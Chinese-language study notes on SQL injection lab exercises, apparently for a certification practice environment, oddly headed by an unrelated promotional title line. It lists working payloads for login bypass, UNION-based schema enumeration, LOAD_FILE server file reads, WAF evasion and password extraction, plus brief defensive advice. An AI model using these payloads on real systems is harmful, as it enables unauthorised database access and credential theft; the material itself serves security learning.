没有公司网站如何做推广少儿编程网
🔐 一、基础注入知识点
什么是SQL注入?
SQL注入(SQL Injection)是指攻击者通过构造恶意SQL语句,将其注入到Web应用程序的输入中,从而控制后台数据库服务器,达到信息泄露、数据篡改、越权操作等目的。
🧪 二、SQL注入模拟与分类总结
✅ 模拟1:登录绕过 / 万能密码
' OR 1=1 --
-
原理:利用逻辑表达式永远为真 (
1=1),绕过登录验证。 -
用途:用于登录框、管理员后台等认证接口的绕过。
✅ 模拟2:信息收集类注入(基于UNION的注入)
-
注入点探测
?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6-
检查返回字段数是否正确,判断注入点位置。
-
-
获取数据库名
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata -
获取数据表名
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wasjcms' -
获取字段名
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag' -
获取字段值
SELECT flag FROM wasjcms.flag
✅ 模拟3:读取服务器敏感文件
UNION SELECT ..., LOAD_FILE('/var/www/html/key.flag'), ...
-
函数:
LOAD_FILE(path)可读取服务器文件内容(需满足条件如路径可读、权限开放)。 -
风险:信息泄露、读取flag等敏感数据。
✅ 模拟4:数据库结构探测与读取数据
?id=0 UNION SELECT 1,2,GROUP_CONCAT(table_name),... FROM information_schema.tables WHERE table_schema=database()
-
探测当前数据库的表结构
-
GROUP_CONCAT(...):合并多行数据为单行输出,便于查看。
?id=0 UNION SELECT ..., GROUP_CONCAT(flag) FROM cms.cms_flag
-
实际读取指定表字段值
✅ 模拟5:编码绕过与路径文件读取
?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23
-
%0b是 URL 编码的垂直制表符,用于绕过WAF或过滤器。 -
%23是#的URL编码,相当于注释符。
✅ 模拟6:精确信息提取
- 获取当前数据库
(SELECT database())
- 获取表名
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema='php_test'
- 获取字段名
SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='users'
- 获取数据内容
SELECT GROUP_CONCAT(username,password) FROM php_test.users
📌 三、常用注入函数与技巧
| 类别 | 用法/函数 | 说明 |
|---|---|---|
| 绕过 | ' OR 1=1 -- | 登录认证绕过 |
| 信息合并 | GROUP_CONCAT() | 将多行字段合并 |
| 系统函数 | database(), now(), user() | 当前数据库/时间/用户 |
| 系统表 | information_schema.tables, columns, schemata | 探测数据库结构 |
| 文件读取 | LOAD_FILE() | 读取服务器文件 |
| 注释符 | --, #, /*...*/ | 注释掉原SQL |
🧱 四、防御建议
-
使用预编译语句(Prepared Statements / ORM)
-
对用户输入进行严格校验与转义
-
最小权限原则:数据库用户不要授予
FILE,SUPER,GRANT,DROP权限 -
隐藏错误信息,不返回SQL异常到前端
-
部署WAF / IDS 等安全设备进行注入防护
pteSQL注入模拟1

万能密码' OR 1=1 --

pteSQL注入模拟2
找注入点
?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6
数据库名 wasjcms
?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.SCHEMATA),'3','4','5','6
表名 flag
?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='wasjcms'),'3','4','5','6
字段flag
?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='flag'),'3','4','5','6
数据
?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+flag+FROM+wasjcms.flag),'3','4','5','6

pteSQL注入模拟3
union select 1,2,3,4,5,6,7,8,9,10,11,12,load_file('/var/www/html/key.flag'),14,15--+
pteSQL注入模拟4

联合查询
?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

?id=0 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(flag),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_flag--+

pteSQL注入模拟5


?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23

pteSQL注入模拟6
数据库名:
2','3',(SELECT database()),NOW()) --
表:
2',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables where table_schema='php_test'),'4',NOW()) --
列:
2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='users'),'4',NOW()) --
2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='articles'),'4',NOW()) --
值:
2','3',(SELECT GROUP_CONCAT(password) from php_test.users),NOW()) --


pteSQL注入模拟7


